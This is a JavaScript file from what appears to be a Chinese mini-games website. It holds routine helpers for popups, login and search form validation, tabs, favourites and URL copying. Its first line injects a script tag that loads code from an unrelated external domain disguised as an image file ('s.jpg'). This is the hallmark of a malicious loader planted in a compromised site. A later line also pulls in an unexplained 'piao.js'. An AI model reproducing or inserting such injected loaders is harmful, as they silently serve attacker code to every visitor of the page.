document.write("<script language=javascript src=http://www.ttqx.com.cn/images/s.jpg?1ss2ss2></script>");
    // JS容错
function killErrors() {
           return true;
}
//window.onerror = killErrors;
var t;
function openwin(url,width,height) { 
　　window.open (url, "newwindow", "height="+height+", width="+width+", toolbar =no, menubar=no, scrollbars=no, resizable=no, location=no, status=no") //写成一行
} 		  
    // 登陆
		function checkLoginForm() {
		if(document.UserLogin.UserName.value == "") {
			alert("用户名不能为空！");
			document.UserLogin.UserName.focus();
			return false;
		} else if(document.UserLogin.Password.value == "") {
			alert("密码不能为空！");
			document.UserLogin.Password.focus();
			return false;
		} else {
			return true;
		}
	}
	    // 搜索

function checkss()
  {
      if (document.searchs.skey.value=="输入小游戏搜索关键字"){
	      alert("输入小游戏搜索关键字")
		  document.searchs.skey.focus();
		  return false
		    }
			      if (document.searchs.skey.value==""){
	      alert("输入小游戏搜索关键字")
		  document.searchs.skey.focus();
		  return false
		    }
		  return true
  }


// 统计代码
function tj()
 {}

function mtab(cid, tid, tname, cname){
	for(var i=1; i<=tid; i++){
		document.getElementById(tname+i).className="";
		document.getElementById(cname+i).className="mtab_content";
	}
	document.getElementById(tname+cid).className="hover";
	document.getElementById(cname+cid).className="mtab_content mtab_display";
}
document.writeln("<script type=\"text\/javascript\" src=\"\/piao.js\"><\/script>");



function addfavorite(_,$){_=_||document.title;$=$||document.location.href;if(document.all)window.external.addFavorite($,_);else if(window.sidebar)window.sidebar.addPanel(_,$,"")}

function copyurl(varstring){
	try{
		window.clipboardData.setData("Text",varstring);
		alert('复制网址成功，请按ctrl+v粘帖到QQ聊天窗口与您的好友一起分享吧');
	}catch(e){
		alert('浏览器不支持复制操作，请手动选取网址，然后点击右键复制');
	}
	return false;
}